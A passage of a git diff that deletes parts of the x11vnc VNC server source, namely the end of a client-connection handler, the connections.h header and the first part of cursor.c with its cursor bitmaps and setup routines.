- } else if (client_count == last_count) {
- return;
- }
-
- if (! all_clients_initialized()) {
- return;
- }
-
- if (client_count > last_count) {
- if (afteraccept_cmd != NULL && afteraccept_cmd[0] != '\0') {
- run_after_accept = 1;
- }
- }
-
- last_count = client_count;
-
- if (! screen) {
- return;
- }
-
- if (! client_count) {
- send_client_info("clients:none");
- return;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
- char *s;
-
- client_set_net(cl);
- if (! cd) {
- continue;
- }
-
- if (cd->login_viewonly < 0) {
- /* this is a general trigger to initialize things */
- if (cl->viewOnly) {
- cd->login_viewonly = 1;
- s = allowed_input_view_only;
- if (s && cd->input[0] == '-') {
- cl->viewOnly = FALSE;
- cd->input[0] = '\0';
- strncpy(cd->input, s, CILEN);
- }
- } else {
- cd->login_viewonly = 0;
- s = allowed_input_normal;
- if (s && cd->input[0] == '-') {
- cd->input[0] = '\0';
- strncpy(cd->input, s, CILEN);
- }
- }
- if (run_after_accept) {
- run_user_command(afteraccept_cmd, cl,
- "afteraccept", NULL, 0, NULL);
- }
- }
- }
- rfbReleaseClientIterator(iter);
-
- if (icon_mode_fh) {
- send_info++;
- }
- for (i = 0; i < ICON_MODE_SOCKS; i++) {
- if (send_info || icon_mode_socks[i] >= 0) {
- send_info++;
- break;
- }
- }
- if (send_info) {
- char *str, *s = list_clients();
- str = (char *) malloc(strlen("clients:") + strlen(s) + 1);
- sprintf(str, "clients:%s", s);
- send_client_info(str);
- free(str);
- free(s);
- }
-}
-
diff --git a/x11vnc/connections.h b/x11vnc/connections.h
deleted file mode 100644
index 3bdeffb..0000000
--- a/x11vnc/connections.h
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_CONNECTIONS_H
-#define _X11VNC_CONNECTIONS_H
-
-/* -- connections.h -- */
-
-extern char vnc_connect_str[];
-extern Atom vnc_connect_prop;
-extern char x11vnc_remote_str[];
-extern Atom x11vnc_remote_prop;
-extern rfbClientPtr inetd_client;
-
-
-extern int all_clients_initialized(void);
-extern char *list_clients(void);
-extern int new_fb_size_clients(rfbScreenInfoPtr s);
-extern void close_all_clients(void);
-extern void close_clients(char *str);
-extern void set_client_input(char *str);
-extern void set_child_info(void);
-extern int cmd_ok(char *cmd);
-extern void client_gone(rfbClientPtr client);
-extern void client_gone_chat_helper(rfbClientPtr client);
-extern void reverse_connect(char *str);
-extern void set_vnc_connect_prop(char *str);
-extern void read_vnc_connect_prop(int);
-extern void set_x11vnc_remote_prop(char *str);
-extern void read_x11vnc_remote_prop(int);
-extern void check_connect_inputs(void);
-extern void check_gui_inputs(void);
-extern rfbClientPtr create_new_client(int sock, int start_thread);
-extern enum rfbNewClientAction new_client(rfbClientPtr client);
-extern enum rfbNewClientAction new_client_chat_helper(rfbClientPtr client);
-extern rfbBool password_check_chat_helper(rfbClientPtr cl, const char* response, int len);
-extern void start_client_info_sock(char *host_port_cookie);
-extern void send_client_info(char *str);
-extern void adjust_grabs(int grab, int quiet);
-extern void check_new_clients(void);
-extern int accept_client(rfbClientPtr client);
-extern void check_ipv6_listen(long usec);
-extern void check_unix_sock(long usec);
-extern int run_user_command(char *cmd, rfbClientPtr client, char *mode, char *input,
- int len, FILE *output);
-extern int check_access(char *addr);
-extern void client_set_net(rfbClientPtr client);
-extern char *get_xprop(char *prop, Window win);
-extern int set_xprop(char *prop, Window win, char *value);
-extern char *bcx_xattach(char *str, int *pg_init, int *kg_init);
-extern void grab_state(int *ptr_grabbed, int *kbd_grabbed);
-extern char *wininfo(Window win, int show_children);
-
-#endif /* _X11VNC_CONNECTIONS_H */
diff --git a/x11vnc/cursor.c b/x11vnc/cursor.c
deleted file mode 100644
index 3d613a6..0000000
--- a/x11vnc/cursor.c
+++ /dev/null
@@ -1,2025 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- cursor.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "cleanup.h"
-#include "screen.h"
-#include "scan.h"
-#include "unixpw.h"
-#include "macosx.h"
-
-int xfixes_present = 0;
-int xfixes_first_initialized = 0;
-int use_xfixes = 1;
-int got_xfixes_cursor_notify = 0;
-int cursor_changes = 0;
-int alpha_threshold = 240;
-double alpha_frac = 0.33;
-int alpha_remove = 0;
-int alpha_blend = 1;
-int alt_arrow = 1;
-
-
-void first_cursor(void);
-void setup_cursors_and_push(void);
-void initialize_xfixes(void);
-int known_cursors_mode(char *s);
-void initialize_cursors_mode(void);
-int get_which_cursor(void);
-void restore_cursor_shape_updates(rfbScreenInfoPtr s);
-void disable_cursor_shape_updates(rfbScreenInfoPtr s);
-int cursor_shape_updates_clients(rfbScreenInfoPtr s);
-int cursor_pos_updates_clients(rfbScreenInfoPtr s);
-void cursor_position(int x, int y);
-void set_no_cursor(void);
-void set_warrow_cursor(void);
-int set_cursor(int x, int y, int which);
-int check_x11_pointer(void);
-int store_cursor(int serial, unsigned long *data, int w, int h, int cbpp, int xhot, int yhot);
-unsigned long get_cursor_serial(int mode);
-
-
-typedef struct win_str_info {
- char *wm_name;
- char *res_name;
- char *res_class;
-} win_str_info_t;
-
-typedef struct cursor_info {
- char *data; /* data and mask pointers */
- char *mask;
- int wx, wy; /* size of cursor */
- int sx, sy; /* shift to its centering point */
- int reverse; /* swap black and white */
- rfbCursorPtr rfb;
-} cursor_info_t;
-
-
-static void curs_copy(cursor_info_t *dest, cursor_info_t *src);
-static void setup_cursors(void);
-static void set_rfb_cursor(int which);
-static void tree_descend_cursor(int *depth, Window *w, win_str_info_t *winfo);
-static rfbCursorPtr pixels2curs(unsigned long *pixels, int w, int h,
- int xhot, int yhot, int Bpp);
-static int get_exact_cursor(int init);
-static void set_cursor_was_changed(rfbScreenInfoPtr s);
-
-
-/*
- * Here begins a bit of a mess to experiment with multiple cursors
- * drawn on the remote background ...
- */
-static void curs_copy(cursor_info_t *dest, cursor_info_t *src) {
- if (src->data != NULL) {
- dest->data = strdup(src->data);
- } else {
- dest->data = NULL;
- }
- if (src->mask != NULL) {
- dest->mask = strdup(src->mask);
- } else {
- dest->mask = NULL;
- }
- dest->wx = src->wx;
- dest->wy = src->wy;
- dest->sx = src->sx;
- dest->sy = src->sy;
- dest->reverse = src->reverse;
- dest->rfb = src->rfb;
-
- if (rotating && rotating_cursors && dest->data != NULL) {
- int tx, ty;
- rotate_curs(dest->data, src->data, src->wx, src->wy, 1);
- rotate_curs(dest->mask, src->mask, src->wx, src->wy, 1);
- rotate_coords(dest->sx, dest->sy, &tx, &ty, src->wx, src->wy);
- dest->sx = tx;
- dest->sy = ty;
- if (! rotating_same) {
- dest->wx = src->wy;
- dest->wy = src->wx;
- }
- }
-}
-
-/* empty cursor */
-static char* curs_empty_data =
-" "
-" ";
-
-static char* curs_empty_mask =
-" "
-" ";
-static cursor_info_t cur_empty = {NULL, NULL, 2, 2, 0, 0, 0, NULL};
-
-/* dot cursor */
-static char* curs_dot_data =
-" "
-" x";
-
-static char* curs_dot_mask =
-" "
-" x";
-static cursor_info_t cur_dot = {NULL, NULL, 2, 2, 0, 0, 0, NULL};
-
-
-/* main cursor */
-static char* curs_arrow_data =
-" "
-" x "
-" xx "
-" xxx "
-" xxxx "
-" xxxxx "
-" xxxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxx "
-" xx xx "
-" x xx "
-" xx "
-" xx "
-" xx "
-" "
-" "
-" ";
-
-static char* curs_arrow_mask =
-"xx "
-"xxx "
-"xxxx "
-"xxxxx "
-"xxxxxx "
-"xxxxxxx "
-"xxxxxxxx "
-"xxxxxxxxx "
-"xxxxxxxxxx "
-"xxxxxxxxxx "
-"xxxxxxx "
-"xxx xxxx "
-"xx xxxx "
-" xxxx "
-" xxxx "
-" xx "
-" "
-" ";
-static cursor_info_t cur_arrow = {NULL, NULL, 18, 18, 0, 0, 1, NULL};
-
-static char* curs_arrow2_data =
-" "
-" x "
-" xx "
-" xxx "
-" xxxx "
-" xxxxx "
-" xxxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxx "
-" xx xx "
-" x xx "
-" xx "
-" xx "
-" xx "
-" "
-" "
-" ";
-
-static char* curs_arrow2_mask =
-"xx "
-"xxx "
-"xxxx "
-"xxxxx "
-"xxxxxx "
-"xxxxxxx "
-"xxxxxxxx "
-"xxxxxxxxx "
-"xxxxxxxxxx "
-"xxxxxxxxxx "
-"xxxxxxx "
-"xxx xxxx "
-"xx xxxx "
-" xxxx "
-" xxxx "
-" xx "
-" "
-" ";
-static cursor_info_t cur_arrow2 = {NULL, NULL, 18, 18, 0, 0, 0, NULL};
-
-static char* curs_arrow3_data =
-" "
-" xx "
-" xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxx "
-" xxxxx "
-" xx x "
-" xx x "
-" x x "
-" x x "
-" x "
-" x "
-" ";
-
-static char* curs_arrow3_mask =
-"xxx "
-"xxxxx "
-"xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxxx "
-" xxxxxxx "
-" xxxxxxx "
-" xxxx xxx "
-" xxx xxx "
-" xxx xxx "
-" xxx xxx "
-" xxx"
-" xx";
-
-static cursor_info_t cur_arrow3 = {NULL, NULL, 16, 16, 0, 0, 1, NULL};
-
-static char* curs_arrow4_data =
-" "
-" xx "
-" xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxx "
-" xxxxx "
-" xx x "
-" xx x "
-" x x "
-" x x "
-" x "
-" x "
-" ";
-
-static char* curs_arrow4_mask =
-"xxx "
-"xxxxx "
-"xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxxx "
-" xxxxxxx "
-" xxxxxxx "
-" xxxx xxx "
-" xxx xxx "
-" xxx xxx "
-" xxx xxx "
-" xxx"
-" xx";
-
-static cursor_info_t cur_arrow4 = {NULL, NULL, 16, 16, 0, 0, 0, NULL};
-
-static char* curs_arrow5_data =
-"x "
-" xx "
-" xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxx "
-" xx x "
-" x x "
-" x x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x";
-
-static char* curs_arrow5_mask =
-"xx "
-"xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxx "
-" xxxxx "
-" xxxxxx "
-" xx xxx "
-" x xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx"
-" xx";
-
-static cursor_info_t cur_arrow5 = {NULL, NULL, 15, 15, 0, 0, 1, NULL};
-
-static char* curs_arrow6_data =
-"x "
-" xx "
-" xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxx "
-" xx x "
-" x x "
-" x x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x";
-
-static char* curs_arrow6_mask =
-"xx "
-"xxxx "
-" xxxxx "
-" xxxxxxx "
-" xxxxxxxx "
-" xxxxxxxx "
-" xxxxx "
-" xxxxxx "
-" xx xxx "
-" x xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx"
-" xx";
-
-static cursor_info_t cur_arrow6 = {NULL, NULL, 15, 15, 0, 0, 0, NULL};
-
-int alt_arrow_max = 6;
-/*
- * It turns out we can at least detect mouse is on the root window so
- * show it (under -cursor X) with this familiar cursor...
- */
-static char* curs_root_data =
-" "
-" "
-" xxx xxx "
-" xxxx xxxx "
-" xxxxx xxxxx "
-" xxxxx xxxxx "
-" xxxxxxxxxx "
-" xxxxxxxx "
-" xxxxxx "
-" xxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxx xxxxx "
-" xxxxx xxxxx "
-" xxxx xxxx "
-" xxx xxx "
-" "
-" ";
-
-static char* curs_root_mask =
-" "
-" xxxx xxxx "
-" xxxxx xxxxx "
-" xxxxxx xxxxxx "
-" xxxxxxx xxxxxxx "
-" xxxxxxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxx "
-" xxxxxxxx "
-" xxxxxxxx "
-" xxxxxxxxxx "
-" xxxxxxxxxxxx "
-" xxxxxxxxxxxxxx "
-" xxxxxxx xxxxxxx "
-" xxxxxx xxxxxx "
-" xxxxx xxxxx "
-" xxxx xxxx "
-" ";
-static cursor_info_t cur_root = {NULL, NULL, 18, 18, 8, 8, 1, NULL};
-
-static char* curs_fleur_data =
-" "
-" xx "
-" xxxx "
-" xxxxxx "
-" xx "
-" x xx x "
-" xx xx xx "
-" xxxxxxxxxxxxxx "
-" xxxxxxxxxxxxxx "
-" xx xx xx "
-" x xx x "
-" xx "
-" xxxxxx "
-" xxxx "
-" xx "
-" ";
-
-static char* curs_fleur_mask =
-" xxxx "
-" xxxxx "
-" xxxxxx "
-" xxxxxxxx "
-" x xxxxxx x "
-" xxx xxxx xxx "
-"xxxxxxxxxxxxxxxx"
-"xxxxxxxxxxxxxxxx"
-"xxxxxxxxxxxxxxxx"
-"xxxxxxxxxxxxxxxx"
-" xxx xxxx xxx "
-" x xxxxxx x "
-" xxxxxxxx "
-" xxxxxx "
-" xxxx "
-" xxxx ";
-
-static cursor_info_t cur_fleur = {NULL, NULL, 16, 16, 8, 8, 1, NULL};
-
-static char* curs_plus_data =
-" "
-" xx "
-" xx "
-" xx "
-" xx "
-" xxxxxxxxxx "
-" xxxxxxxxxx "
-" xx "
-" xx "
-" xx "
-" xx "
-" ";
-
-static char* curs_plus_mask =
-" xxxx "
-" xxxx "
-" xxxx "
-" xxxx "
-"xxxxxxxxxxxx"
-"xxxxxxxxxxxx"
-"xxxxxxxxxxxx"
-"xxxxxxxxxxxx"
-" xxxx "
-" xxxx "
-" xxxx "
-" xxxx ";
-static cursor_info_t cur_plus = {NULL, NULL, 12, 12, 5, 6, 1, NULL};
-
-static char* curs_xterm_data =
-" "
-" xxx xxx "
-" xxx "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" x "
-" xxx "
-" xxx xxx "
-" ";
-
-static char* curs_xterm_mask =
-" xxxx xxxx "
-" xxxxxxxxx "
-" xxxxxxxxx "
-" xxxxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxx "
-" xxxxx "
-" xxxxxxxxx "
-" xxxxxxxxx "
-" xxxx xxxx ";
-static cursor_info_t cur_xterm = {NULL, NULL, 16, 16, 8, 8, 1, NULL};
-
-enum cursor_names {
- CURS_EMPTY = 0,
- CURS_DOT,
-
- CURS_ARROW,
- CURS_WARROW,
- CURS_ROOT,
- CURS_WM,
- CURS_TERM,
- CURS_PLUS,
-
- CURS_DYN1,
- CURS_DYN2,
- CURS_DYN3,
- CURS_DYN4,
- CURS_DYN5,
- CURS_DYN6,
- CURS_DYN7,
- CURS_DYN8,
- CURS_DYN9,
- CURS_DYN10,
- CURS_DYN11,
- CURS_DYN12,
- CURS_DYN13,
- CURS_DYN14,
- CURS_DYN15,
- CURS_DYN16
-};
-
-#define CURS_DYN_MIN CURS_DYN1
-#define CURS_DYN_MAX CURS_DYN16
-#define CURS_DYN_NUM (CURS_DYN_MAX - CURS_DYN_MIN + 1)
-
-#define CURS_MAX 32
-static cursor_info_t *cursors[CURS_MAX];
-
-void first_cursor(void) {
- if (! screen) {
- return;
- }
- if (! show_cursor) {
- LOCK(screen->cursorMutex);
- screen->cursor = NULL;
- UNLOCK(screen->cursorMutex);
- } else {
- got_xfixes_cursor_notify++;
- set_rfb_cursor(get_which_cursor());
- set_cursor_was_changed(screen);
- }
-}
-
-static void setup_cursors(void) {
- rfbCursorPtr rfb_curs;
- char *scale = NULL;
- int i, j, n = 0;
- int w_in = 0, h_in = 0;
- static int first = 1;
-
- if (verbose || use_threads) {
- rfbLog("setting up %d cursors...\n", CURS_MAX);
- }
-
- if (first) {
- for (i=0; i<CURS_MAX; i++) {
- cursors[i] = NULL;
- }
- }
- first = 0;
-
- if (screen) {
- LOCK(screen->cursorMutex);
- screen->cursor = NULL;
- }
-
- for (i=0; i<CURS_MAX; i++) {
- cursor_info_t *ci;
- if (cursors[i]) {
- /* clear out any existing ones: */
- ci = cursors[i];
- if (ci->rfb) {
- /* this is the rfbCursor part: */
- if (ci->rfb->richSource) {
- free(ci->rfb->richSource);
- ci->rfb->richSource = NULL;
- }
- if (ci->rfb->source) {
- free(ci->rfb->source);
- ci->rfb->source = NULL;
- }
- if (ci->rfb->mask) {
- free(ci->rfb->mask);
- ci->rfb->mask = NULL;
- }
- free(ci->rfb);
- ci->rfb = NULL;
- }
- if (ci->data) {
- free(ci->data);
- ci->data = NULL;
- }
- if (ci->mask) {
- free(ci->mask);
- ci->mask = NULL;
- }
- free(ci);
- ci = NULL;
- }
-
- /* create new struct: */
- ci = (cursor_info_t *) malloc(sizeof(cursor_info_t));
- ci->data = NULL;
- ci->mask = NULL;
- ci->wx = 0;
- ci->wy = 0;
- ci->sx = 0;
- ci->sy = 0;
- ci->reverse = 0;
- ci->rfb = NULL;
- cursors[i] = ci;
- }
-
- /* clear any xfixes cursor cache (no freeing is done) */
- get_exact_cursor(1);
-
- /* manually fill in the data+masks: */
- cur_empty.data = curs_empty_data;
- cur_empty.mask = curs_empty_mask;
-
- cur_dot.data = curs_dot_data;
- cur_dot.mask = curs_dot_mask;
-
- cur_arrow.data = curs_arrow_data;
- cur_arrow.mask = curs_arrow_mask;
- cur_arrow2.data = curs_arrow2_data;
- cur_arrow2.mask = curs_arrow2_mask;
- cur_arrow3.data = curs_arrow3_data;
- cur_arrow3.mask = curs_arrow3_mask;
- cur_arrow4.data = curs_arrow4_data;
- cur_arrow4.mask = curs_arrow4_mask;
- cur_arrow5.data = curs_arrow5_data;
- cur_arrow5.mask = curs_arrow5_mask;
- cur_arrow6.data = curs_arrow6_data;
- cur_arrow6.mask = curs_arrow6_mask;
-
- cur_root.data = curs_root_data;
- cur_root.mask = curs_root_mask;
-
- cur_plus.data = curs_plus_data;
- cur_plus.mask = curs_plus_mask;
-
- cur_fleur.data = curs_fleur_data;
- cur_fleur.mask = curs_fleur_mask;
-
- cur_xterm.data = curs_xterm_data;
- cur_xterm.mask = curs_xterm_mask;
-
- curs_copy(cursors[CURS_EMPTY], &cur_empty); n++;
- curs_copy(cursors[CURS_DOT], &cur_dot); n++;
-
- if (alt_arrow < 1 || alt_arrow > alt_arrow_max) {
- alt_arrow = 1;
- }
- if (alt_arrow == 1) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow); n++;
- } else if (alt_arrow == 2) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow2); n++;
- } else if (alt_arrow == 3) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow3); n++;
- } else if (alt_arrow == 4) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow4); n++;
- } else if (alt_arrow == 5) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow5); n++;
- } else if (alt_arrow == 6) {
- curs_copy(cursors[CURS_ARROW], &cur_arrow6); n++;
- } else {
- alt_arrow = 1;
- curs_copy(cursors[CURS_ARROW], &cur_arrow); n++;
- }
- curs_copy(cursors[CURS_WARROW], &cur_arrow2); n++;
-
- curs_copy(cursors[CURS_ROOT], &cur_root); n++;
- curs_copy(cursors[CURS_WM], &cur_fleur); n++;
- curs_copy(cursors[CURS_TERM], &cur_xterm); n++;
- curs_copy(cursors[CURS_PLUS], &cur_plus); n++;
-
- if (scale_cursor_str) {
- scale = scale_cursor_str;
- } else if (scaling && scale_str) {
- scale = scale_str;
- }
- if (scale && sscanf(scale, "%dx%d", &i, &j) == 2) {
- if (wdpy_x > 0) {
- w_in = wdpy_x;
- h_in = wdpy_y;
- } else {
- w_in = dpy_x;
- h_in = dpy_y;
- }
- }
-
- /* scale = NULL zeroes everything */
- parse_scale_string(scale, &scale_cursor_fac_x, &scale_cursor_fac_y, &scaling_cursor,
- &scaling_cursor_blend, &j, &j, &scaling_cursor_interpolate,
- &scale_cursor_numer, &scale_cursor_denom, w_in, h_in);
-
- for (i=0; i<n; i++) {
- /* create rfbCursors for the special cursors: */
-
- cursor_info_t *ci = cursors[i];
-
- if (scaling_cursor && (scale_cursor_fac_x != 1.0 || scale_cursor_fac_y != 1.0)) {
- int w, h, x, y, k;
- unsigned long *pixels;
-
- w = ci->wx;
- h = ci->wy;
-
- pixels = (unsigned long *) malloc(w * h
- * sizeof(unsigned long));
-
- k = 0;
- for (y=0; y<h; y++) {
- for (x=0; x<w; x++) {
- char d = ci->data[k];
- char m = ci->mask[k];
- unsigned long *p;
-
- p = pixels + k;
-
- /* set alpha on */
- *p = 0xff000000;
-
- if (d == ' ' && m == ' ') {
- /* alpha off */
- *p = 0x00000000;
- } else if (d != ' ') {
- /* body */
- if (ci->reverse) {
- *p |= 0x00000000;
- } else {
- *p |= 0x00ffffff;
- }
- } else if (m != ' ') {
- /* edge */
- if (ci->reverse) {
- *p |= 0x00ffffff;
- } else {
- *p |= 0x00000000;
- }
- }
- k++;
- }
- }
-
- rfb_curs = pixels2curs(pixels, w, h, ci->sx, ci->sy,
- bpp/8);
-
- free(pixels);
-
- } else {
-
- /* standard X cursor */
- rfb_curs = rfbMakeXCursor(ci->wx, ci->wy,
- ci->data, ci->mask);
-
- if (ci->reverse) {
- rfb_curs->foreRed = 0x0000;
- rfb_curs->foreGreen = 0x0000;
- rfb_curs->foreBlue = 0x0000;
- rfb_curs->backRed = 0xffff;
- rfb_curs->backGreen = 0xffff;
- rfb_curs->backBlue = 0xffff;
- }
- rfb_curs->alphaSource = NULL;
-
- rfb_curs->xhot = ci->sx;
- rfb_curs->yhot = ci->sy;
- rfb_curs->cleanup = FALSE;
- rfb_curs->cleanupSource = FALSE;
- rfb_curs->cleanupMask = FALSE;
- rfb_curs->cleanupRichSource = FALSE;
-
- if (bpp == 8 && indexed_color) {
- /*
- * use richsource in PseudoColor for better
- * looking cursors (i.e. two-color).
- */
- int x, y, k = 0, bw;
- int black = 0, white = 1;
- char d, m;
-
- if (dpy) { /* raw_fb hack */
- black = BlackPixel(dpy, scr);
- white = WhitePixel(dpy, scr);
- }
-
- rfb_curs->richSource = (unsigned char *)
- calloc(ci->wx * ci->wy, 1);
-
- for (y = 0; y < ci->wy; y++) {
- for (x = 0; x < ci->wx; x++) {
- d = *(ci->data + k);
- m = *(ci->mask + k);
- if (d == ' ' && m == ' ') {
- k++;
- continue;
- } else if (m != ' ' && d == ' ') {
- bw = black;
- } else {
- bw = white;
- }
- if (ci->reverse) {
- if (bw == black) {
- bw = white;
- } else {
- bw = black;
- }
- }
- *(rfb_curs->richSource+k) =
- (unsigned char) bw;
- k++;
- }
- }
- }
- }
- ci->rfb = rfb_curs;
- }
- if (screen) {
- UNLOCK(screen->cursorMutex);
- }
- if (verbose) {
- rfbLog(" done.\n");
- }
- rfbLog("\n");
-}
-
-void setup_cursors_and_push(void) {
- setup_cursors();
- first_cursor();
-}
-
-/*
- * Descends window tree at pointer until the window cursor matches the current
- * cursor. So far only used to detect if mouse is on root background or not.
- * (returns 0 in that case, 1 otherwise).
- *
- */
-static void tree_descend_cursor(int *depth, Window *w, win_str_info_t *winfo) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!depth || !w || !winfo) {}
- return;
-#else
- Window r, c;
- int i, rx, ry, wx, wy;
- unsigned int mask;
- Window wins[10];
- int descend, maxtries = 10;
- char *name, *s = multiple_cursors_mode;
- static XClassHint *classhint = NULL;
- int nm_info = 1;
- XErrorHandler old_handler;
-
- RAWFB_RET_VOID
-
- if (!strcmp(s, "default") || !strcmp(s, "X") || !strcmp(s, "arrow")) {
- nm_info = 0;
- }
-
- *(winfo->wm_name) = '\0';
- *(winfo->res_name) = '\0';
- *(winfo->res_class) = '\0';
-
- for (i=0; i < maxtries; i++) {
- wins[i] = None;
- }
-
- /* some times a window can go away before we get to it */
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- c = window;
- descend = -1;
-
- while (c) {
- wins[++descend] = c;
- if (descend >= maxtries - 1) {
- break;
- }
- if ( XTestCompareCurrentCursorWithWindow_wr(dpy, c) ) {
- break;
- }
- /* TBD: query_pointer() */
- XQueryPointer_wr(dpy, c, &r, &c, &rx, &ry, &wx, &wy, &mask);
- }
-
- if (nm_info) {
- int got_wm_name = 0, got_res_name = 0, got_res_class = 0;
-
- if (! classhint) {
- classhint = XAllocClassHint();
- }
-
- for (i = descend; i >=0; i--) {
- c = wins[i];
- if (! c) {
- continue;
- }
-
- if (! got_wm_name && XFetchName(dpy, c, &name)) {
- if (name) {
- if (*name != '\0') {
- strcpy(winfo->wm_name, name);
- got_wm_name = 1;
- }
- XFree_wr(name);
- }
- }
- if (classhint && (! got_res_name || ! got_res_class)) {
- if (XGetClassHint(dpy, c, classhint)) {
- char *p;
- p = classhint->res_name;
- if (p) {
- if (*p != '\0' && ! got_res_name) {
- strcpy(winfo->res_name, p);
- got_res_name = 1;
- }
- XFree_wr(p);
- classhint->res_name = NULL;
- }
- p = classhint->res_class;
- if (p) {
- if (*p != '\0' && ! got_res_class) {
- strcpy(winfo->res_class, p);
- got_res_class = 1;
- }
- XFree_wr(p);
- classhint->res_class = NULL;
- }
- }
- }
- }
- }
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
-
- *depth = descend;
- *w = wins[descend];
-#endif /* NO_X11 */
-}
-
-void initialize_xfixes(void) {
-#if LIBVNCSERVER_HAVE_LIBXFIXES
- if (xfixes_present) {
- X_LOCK;
- if (use_xfixes) {
- XFixesSelectCursorInput(dpy, rootwin,
- XFixesDisplayCursorNotifyMask);
- } else {
- XFixesSelectCursorInput(dpy, rootwin, 0);
- }
- X_UNLOCK;
- xfixes_first_initialized = 1;
- }
-#endif
-}
-
-static rfbCursorPtr pixels2curs(unsigned long *pixels, int w, int h,
- int xhot, int yhot, int Bpp) {
- rfbCursorPtr c;
- static unsigned long black = 0, white = 1;
- static int first = 1;
- char *bitmap, *rich, *alpha;
- char *pixels_new = NULL;
- int n_opaque, n_trans, n_alpha, len, histo[256];
- int send_alpha = 0, alpha_shift = 0, thresh;
- int i, x, y;
-
- if (first && dpy) { /* raw_fb hack */
- X_LOCK;
- black = BlackPixel(dpy, scr);
- white = WhitePixel(dpy, scr);
- X_UNLOCK;
- first = 0;
- }
-
- if (cmap8to24 && cmap8to24_fb && depth <= 16) {
- if (Bpp <= 2) {
- Bpp = 4;
- }
- }
-
- if (scaling_cursor && (scale_cursor_fac_x != 1.0 || scale_cursor_fac_y != 1.0)) {
- int W, H;
- char *pixels_use = (char *) pixels;
- unsigned int *pixels32 = NULL;
-
- W = w;
- H = h;
-
- w = scale_round(W, scale_cursor_fac_x);
- h = scale_round(H, scale_cursor_fac_y);
-
- pixels_new = (char *) malloc(4*w*h);
-
- if (sizeof(unsigned long) == 8) {
- int i, j, k = 0;
- /*
- * to avoid 64bpp code in scale_rect() we knock
- * down to unsigned int on 64bit machines:
- */
- pixels32 = (unsigned int*) malloc(4*W*H);
- for (j=0; j<H; j++) {
- for (i=0; i<W; i++) {
- *(pixels32+k) = 0xffffffff & (*(pixels+k));
- k++;
- }
- }
- pixels_use = (char *) pixels32;
- }
-
- scale_rect(scale_cursor_fac_x, scale_cursor_fac_y, scaling_cursor_blend,
- scaling_cursor_interpolate,
- 4, pixels_use, 4*W, pixels_new, 4*w,
- W, H, w, h, 0, 0, W, H, 0);
-
- if (sizeof(unsigned long) == 8) {
- int i, j, k = 0;
- unsigned long *pixels64;
